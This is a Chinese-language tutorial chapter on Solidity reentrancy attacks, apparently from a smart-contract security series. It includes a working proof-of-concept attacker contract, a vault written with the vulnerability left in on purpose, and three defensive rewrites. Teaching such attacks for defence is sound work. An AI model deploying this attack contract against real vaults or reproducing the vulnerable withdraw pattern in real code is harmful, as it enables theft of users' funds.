第 3 章 | 重入攻击 Reentrancy 全解析

第 3 章 | 重入攻击 Reentrancy 全解析

——从 The DAO 闪崩事件开始,构建你对链上攻击的基本盘


✅ 章节导读

“你把钱转出去了,却还没更新余额,
攻击者趁你没反应,再次提款。
然后……再来一次。”

这就是重入攻击

Reentrancy 是 Solidity 最臭名昭著、历史最悠久的合约漏洞类型。
它不仅出现在**The DAO(2016)**的事件中,几乎每年都有重大项目中招。

本章我们将:

  1. 搞清楚 Reentrancy 是什么、为啥能攻击成功

  2. 复现一个最小可攻击提款合约 + 攻击者合约

  3. 分析攻击流程调用栈

  4. 提供三种防御方案,并对比优劣、Gas 成本

  5. 给出可部署的测试环境,供你练手


什么是重入攻击?

定义:
当合约向外部账户(如 address.call{value:})发送 ETH 或调用函数时,如果对方是合约并在其 fallback()receive() 中再次调用原合约未锁定函数,就可以反复“插入执行”造成逻辑错误。


✅ 核心条件:

  • 被攻击函数包含外部调用(call、transfer、send)

  • 外部调用发生前,合约状态未更新

  • 被调用方可再次触发该函数


✅ 调用流程图:

User.withdraw()
 ├─ call(msg.sender) ← 攻击者合约 fallback()
 │    └─ 再次调用 withdraw()
 │         └─ 再次 call(msg.sender)
 │              ...

真实案例回顾:The DAO 攻击

  • 合约设计缺陷:先转账后更新余额

  • 攻击者构造 fallback(),每次接收到 ETH 都再次发起提款请求

  • 由于 balances[msg.sender] 未更新,可反复成功提款

最终结果:攻击者仅用一次攻击流程,提走超 30% DAO 资金,迫使以太坊硬分叉。


实战演练:复现一次完整的重入攻击


✅ 场景设计:

我们构造两个合约:

  1. VulnerableVault.sol:一个存在漏洞的提款合约

  2. AttackContract.sol:一个攻击者编写的钓鱼合约


1. VulnerableVault.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        require(balances[msg.sender] > 0, "No balance");

        // ⚠️ 问题代码:先转账,再更新状态
        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

2. AttackContract.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "./VulnerableVault.sol";

contract AttackContract {
    VulnerableVault public vault;
    address public owner;
    uint public attackCount;

    constructor(address _vault) {
        vault = VulnerableVault(_vault);
        owner = msg.sender;
    }

    // 攻击入口:发起存款 + 提款(触发重入)
    function attack() external payable {
        require(msg.value >= 1 ether, "Need some ETH");
        vault.deposit{value: msg.value}();
        vault.withdraw();
    }

    // Fallback:当 vault 回调我们时,再次发起 withdraw()
    receive() external payable {
        if (address(vault).balance >= 1 ether && attackCount < 10) {
            attackCount++;
            vault.withdraw(); // 重入再次提款
        }
    }

    // 提款
    function collect() external {
        payable(owner).transfer(address(this).balance);
    }
}

✅ 攻击流程演示:

  1. 攻击者部署 AttackContract,注入 1 ETH

  2. 调用 attack(),存入 ETH + 第一次调用 withdraw()

  3. 在 vault 的 call 中,触发 receive() → 递归触发 withdraw()

  4. vault 未更新余额,允许重复提款

  5. vault 合约资金耗尽


防御方案对比:三种有效手段


✅ 方法一:Checks-Effects-Interactions 模式(推荐)

最经典的防御思路:
先检查条件 → 更新状态 → 最后做外部调用

修改 withdraw() 函数为:

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    balances[msg.sender] = 0; // ✅ 状态提前更新

    (bool sent, ) = msg.sender.call{value: amount}("");
    require(sent, "Failed to send Ether");
}

✅ 优点:

  • 易理解、逻辑清晰

  • 几乎不影响 Gas 成本

  • 几乎适用于所有合约逻辑结构


✅ 方法二:使用 ReentrancyGuard 修饰器

引入 OpenZeppelin 安全库:

npm install @openzeppelin/contracts
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureVault is ReentrancyGuard {
    ...
    function withdraw() external nonReentrant {
        ...
    }
}

✅ 原理:

  • nonReentrant 使用布尔锁标志位,防止函数重复调用

  • 所有函数执行前后自动封锁状态变更路径

✅ 注意事项:

  • 所有可能互相调用的外部函数都必须加 nonReentrant

  • 不可嵌套调用其他加锁函数(避免死锁)


✅ 方法三:拉支付(Pull Payment)

反转控制权,不在函数中主动付款
而是让用户在另一个函数中主动 claim 资金

mapping(address => uint256) public pending;

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    balances[msg.sender] = 0;
    pending[msg.sender] += amount;
}

function claim() external {
    uint256 amount = pending[msg.sender];
    require(amount > 0, "No claim");

    pending[msg.sender] = 0;
    (bool sent, ) = msg.sender.call{value: amount}("");
    require(sent, "Failed to send Ether");
}

✅ 优点:

  • 从根本上消除外部 call 的风险点

  • 安全设计模式(推荐用于 reward claim、提款、分红)


对比总结:

防御方式 安全性 性能 易用性 推荐场景
CEI 模式 ✅✅✅ ✅✅ ✅✅✅ 通用所有外部 call 合约
ReentrancyGuard ✅✅ ✅✅✅ 多人协作开发、大型协议
Pull Payment ✅✅✅ ✅✅ 分红、奖励类、提现类逻辑

本章练习(建议亲手跑一遍)

  1. 手动部署 VulnerableVault + AttackContract

  2. 调用 attack(),观察 ETH 被连续提取

  3. 修改合约为 CEI 防御后,重新部署验证攻击失败

  4. 对比 Gas 成本(用 Hardhat/Foundry trace 查看)

  5. 尝试在 ReentrancyGuard 版本中测试多次调用 withdraw 是否会被阻断


✅ 本章小结

  • 重入攻击是 Solidity 安全审计的必修项

  • 只要你的合约包含外部调用,都要考虑重入风险

  • 防御逻辑应默认假设:对方合约可能会回调你自己

你可能感兴趣的:(web3安全审计,Solidity,安全硬核教程,区块链,智能合约,solidity,web3,web安全,区块链安全)